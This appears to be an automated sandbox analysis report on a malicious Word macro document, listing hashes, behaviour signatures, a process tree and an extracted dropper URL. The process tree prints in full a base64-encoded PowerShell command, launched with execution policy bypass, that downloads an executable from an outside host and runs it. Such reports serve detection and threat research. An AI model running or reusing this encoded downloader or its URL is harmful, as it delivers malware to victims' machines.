Analysis

  • max time kernel
    69s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    11-03-2021 13:23

General

  • Target

    document.doc

  • Size

    75KB

  • MD5

    094268e03ab9e2e23f0d24554cb81a1b

  • SHA1

    3ff029fa49f48408e332c6de54d97d8a43513a5a

  • SHA256

    b6585c308bac3649bba3aba216a3be2e76b0593f03a623ed4bd1fa1dde2b1c4f

  • SHA512

    f9868abc757464fd0f3d43969c532558167edcaa8c92a36e987f9ad37370eb7dd0a2e18e7acca00ce20d714ac9f7237f967e3094d3451fb357632ea5c9867635

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://m6147keeganpw.info/sp282y/si2s81-19.php?l=rwoq3.dat

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\document.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Exec Bypass -enc JABpAFYAbwA4ADcAQgB1ACAAPQAgACcAdgBCAGcAVABKACcAOwAkAEcAYwBPAFUAVABhAEYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGkAVgBvADgANwBCAHUAKwAnAC4AZQB4AGUAJwA7ACQAbwA0AGYAOQBVAGQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBgAFQAYAAuAHcAZQBiAGAAQwBMAGkAZQBOAFQAOwAkAHYAdQBSAEQATwBBAHoAQwA9ACcAaAB0AHQAcAA6AC8ALwBtADYAMQA0ADcAawBlAGUAZwBhAG4AcAB3AC4AaQBuAGYAbwAvAHMAcAAyADgAMgB5AC8AcwBpADIAcwA4ADEALQAxADkALgBwAGgAcAA/AGwAPQByAHcAbwBxADMALgBkAGEAdAAnAC4AcwBwAGwAaQB0ACgAJwAlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEkAUABwAG0ANABOAGkAVwAgAGkAbgAgACQAdgB1AFIARABPAEEAegBDACkAewB0AHIAeQB7ACQAbwA0AGYAOQBVAGQALgBEAG8AdwBOAGwAbwBhAEQAZgBJAGwARQAoACQASQBQAHAAbQA0AE4AaQBXACwAIAAkAEcAYwBPAFUAVABhAEYAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABHAGMATwBVAFQAYQBGACkALgBsAEUATgBHAHQAaAAgAC0AZwBlACAAewBuAHUAbQBiAGUAcgAxAH0AKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAFIAdAAoACQARwBjAE8AVQBUAGEARgApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQANAAoA
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/792-2-0x00000000728E1000-0x00000000728E4000-memory.dmp
    Filesize

    12KB

  • memory/792-3-0x0000000070361000-0x0000000070363000-memory.dmp
    Filesize

    8KB

  • memory/792-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/792-5-0x0000000006030000-0x0000000006032000-memory.dmp
    Filesize

    8KB

  • memory/1760-6-0x0000000000000000-mapping.dmp
  • memory/1760-7-0x00000000765E1000-0x00000000765E3000-memory.dmp
    Filesize

    8KB

  • memory/1760-8-0x000000006AD50000-0x000000006B43E000-memory.dmp
    Filesize

    6.9MB

  • memory/1760-9-0x0000000001020000-0x0000000001021000-memory.dmp
    Filesize

    4KB

  • memory/1760-10-0x0000000004820000-0x0000000004821000-memory.dmp
    Filesize

    4KB

  • memory/1760-11-0x00000000011D0000-0x00000000011D1000-memory.dmp
    Filesize

    4KB

  • memory/1760-12-0x00000000011D2000-0x00000000011D3000-memory.dmp
    Filesize

    4KB

  • memory/1760-13-0x00000000012D0000-0x00000000012D1000-memory.dmp
    Filesize

    4KB

  • memory/1760-14-0x0000000005240000-0x0000000005241000-memory.dmp
    Filesize

    4KB

  • memory/1760-17-0x0000000005650000-0x0000000005651000-memory.dmp
    Filesize

    4KB

  • memory/1760-22-0x00000000056C0000-0x00000000056C1000-memory.dmp
    Filesize

    4KB

  • memory/1760-23-0x0000000006260000-0x0000000006261000-memory.dmp
    Filesize

    4KB

  • memory/1760-30-0x00000000061F0000-0x00000000061F1000-memory.dmp
    Filesize

    4KB

  • memory/1760-31-0x00000000062F0000-0x00000000062F1000-memory.dmp
    Filesize

    4KB

  • memory/1760-32-0x000000007EF30000-0x000000007EF31000-memory.dmp
    Filesize

    4KB